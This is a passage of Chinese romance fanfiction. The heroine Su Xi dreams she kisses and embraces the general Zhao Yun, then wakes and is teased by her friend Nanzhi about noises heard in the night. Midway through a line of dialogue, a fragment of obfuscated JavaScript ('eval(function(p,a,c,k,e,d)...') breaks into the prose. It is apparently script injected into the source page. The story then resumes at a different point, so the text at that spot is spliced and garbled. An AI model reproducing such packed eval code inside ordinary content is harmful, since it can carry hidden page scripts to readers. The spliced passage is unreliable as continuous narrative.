“将军会做春梦吗?会吧,人之常情嘛。” 苏兮苦笑着转过头,看着身后蹙眉的赵云。生气的样子那么真实,恍惚间,苏兮还以为这不是梦呢。 苏兮望着赵云蹙起的眉头,忽然发自内心地笑了。 “既然是梦,”她轻声说,“那我做什么都可以吧?” 赵云还没来得及反应,苏兮已经伸手扣住了他的肩,猛地一推。 力道不大,但赵云毫无防备。他仰面倒下,后脑勺磕在叠起的外袍上,闷响一声。苏兮顺势翻上来,跨坐在他腰侧,受伤的腿疼得她眼前发黑,但她咬紧牙关,没让自己停下来。 “苏兮——” 赵云抬手扣住她的肩,想把人推开,刚发力又顿住。她的肩胛骨那么单薄,而且遍体鳞伤。 就这犹豫的一瞬,苏兮俯下身,吻住了他。 笨拙的、不管不顾的、几乎称不上技巧的吻。她的唇撞上他的,牙齿磕在唇角,疼得她皱了皱眉,却没有退开。 赵云僵住了。 苏兮闭着眼,四肢百骸颤得厉害。她不会接吻,只知道把唇贴着赵云的唇,用力地、固执地压着。 若不松开,梦就不会醒。而她希望此生不醒过来。 “够了。” 赵云偏过头,声音低哑。苏兮的吻落在他唇角,滑到了他的脸颊上。 “不够。”她追过去,又去寻他的唇,“梦还没醒,不够。” 赵云的手从她肩上滑到手臂,握住,想拉开。苏兮挣了一下,没挣脱,就着被他握住的姿势,固执地垂下头,额头抵着他的额头,鼻尖碰着他的鼻尖。 “将军可以推开我。可以把我扔下去,也可以明日当做没发生过。” 苏兮眼眶泛红,却一滴泪都没掉。 “但今夜,是梦。梦里的我,不想管什么礼教、什么军令、什么……什么苏兮姑娘。” 苏兮说最后四个字的时候,咬得很重,似是憋了很久的委屈终于找到了出口。 “直呼我的姓名有那么难吗?” “你这般鲁莽无礼、逾规越矩,我——” 赵云嘴上斥责,右手却不自觉地浮上苏兮的腰,左手附在她大腿侧边。 那两只手像是有了自己的意志,与主人的言语背道而驰。 苏兮察觉到了,但没点破,垂下眼,看着两个人之间那点几乎不存在的距离。 “我大概是嫉妒将军身为神君,可以无所畏惧。我命不好,保不准一转身就死了……” 苏兮抽噎着,倏地环上赵云的脖颈,死死抱住。 “不要离开我,不要丢下我一个人……” 赵云轻笑无奈:“我到底何时说过要丢下你?” 苏兮埋下头,额头抵在赵云颈窝。 “可你差点就丢下我,此生不见了,不是吗?” 两个人皆想起了邺城那日。 “所以姑娘这是在生我的气?”赵云问。 两具身子贴得更进些,苏兮又收紧手臂。 “对,我在生气,气你让我胡思乱想,每日见不着你,夜里便无法安睡……” “所以仅仅行军两个时辰就想我吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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苏兮俯下身,双手撑在他肩膀两侧,贴近他的胸口,两个心转眼只剩皮肉的距离。 “为何不推开我?还在担心我的伤吗?” 赵云紧闭双眼,一言不发。 苏兮轻轻笑了一下,有心酸苦涩,也有欣喜。 “将……我记得将军说过,叫子龙?不愧是神君,龙可是祥瑞啊。” “够了!”赵云吞咽,“若我真的应了,明日醒来,我会如何看你?” 苏兮的手指收紧。 “如何?” 赵云抬起手拢住苏兮敞开的衣襟,遮住裸露的肌肤。 “会想娶你。” 苏兮怔住。 “会想对你负责。会想一辈子把你留在身边,哪儿也不让你去。” 苏兮的眼泪一下子掉了下来。 “那不好吗?”她哽咽着问。 “好。自然是好的。”赵云说,“因为这里是你的梦,我说的话,皆是你想听的话。” 赵云拢着苏兮的衣襟,把她拉下来,让她趴在自己胸口,用力地把她抱进怀里。 “所以快睡吧,梦终究要醒,你若是在梦中哭了,梦外的你也会哭。被真正的我发现,又会惹他蹙眉的。” 苏兮把脸埋进他颈窝,哭得浑身发抖。泪水顺着他的衣领淌进去,打湿了一片。 “为何……我为何要遇见你……若你当初没救下我多好……” 想来如今,也不会这般难过。 苏兮从赵云胸口抬起脸,用一双哭红的眼睛看着他。 “我还想问,真正的将军眼里,我是什么?为何是‘苏兮姑娘’,而不是苏兮?” 赵云看着苏兮,用指腹擦去她脸上的泪痕。 “你自知晓答案,何必再问我呢。” 苏兮的嘴角弯了弯,流着泪吻上赵云的唇。 唇舌交缠间,苏兮尝到了自己眼泪的咸,也尝到了他唇上被自己咬破的血腥味。 赵云在回吻着她,不急不躁。 这是她的梦。 所以梦里的赵云,会吻她。 苏兮哭得更凶了。她勾着他的脖颈,趴在他身上,衣衫散乱、发丝纠缠,吻得气喘吁吁也不肯松口。她咬他的下唇,又心疼地舔过齿痕。 “赵……云……将军……” 赵云弯着眉眼拨开她汗湿的发丝,擦拭她唇角的银丝。 “连你不敢唤我名字,不是么。” 赵云加深了这个吻,舌尖抵开她的齿列,卷着她的舌,温柔又克制地纠缠。苏兮被吻得晕乎乎的,脑子里只剩下一个念头—— 不想醒。 永远都不要醒。 可天光还是来了。 * 【梦醒】 艰难地撑着地坐起身,赵云已经不在身旁,但自己身上还盖着他的外袍。 月事前后,总蠢蠢欲动得厉害,不出所料的又做了关于将军的梦。 “月事……月……” 苏兮喃喃的声音越来越小,赵云说过的话再次浮现。 来月……身子不适,枕着我的腿睡吧。 苏兮眼睛睁大。 “将军知道我来月事?!” 远处,南枝小跑而来,一脸坏笑地晃了晃手中的发梳,站在苏兮身后替她束发。 “昨晚两个人闹腾得很厉害嘛。” “闹腾?”苏兮疑惑。 南枝轻咳一声开始有模有样地学起来。 “将军……好疼!我知道,再忍忍。疼别忍着,叫出声。啊,将军!” 苏兮的脸由红到黑不过眨眼的功夫。 “那时候……大家不是睡了吗?!” 南枝偷笑着凑近她耳畔。 “可都在树后躲着,听得一清二楚呢。” 苏兮只觉得天旋地转。 “都……都听见了?!”